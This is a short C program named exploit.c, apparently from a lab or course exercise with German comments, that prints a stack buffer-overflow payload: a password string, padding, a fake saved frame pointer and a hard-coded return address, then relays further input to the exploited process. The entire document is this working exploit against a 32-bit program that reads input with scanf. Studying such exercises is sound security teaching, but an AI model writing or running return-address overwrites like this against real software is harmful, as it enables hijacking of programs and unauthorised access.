exploit.c
#include <stdio.h> #include <stdlib.h> #include <stdint.h> static void print32(uint32_t foo) { fwrite(&foo, sizeof(foo), 1, stdout); } int main(void) { fputs("12345678_", stdout); // password print32(0x11223344); // n print32(0x11223344); // padding print32(0x11223344); // padding print32(0x11223344); // Backup Frame-Pointer (%ebp) print32(0x0804a04e); // Rücksprungadresse (Backup %eip) putchar('\n'); // Eingabe beenden, scanf zurückkehren lassen fflush(stdout); int c; while (1) { c = getchar(); if (c == EOF) break; putchar(c); fflush(stdout); } }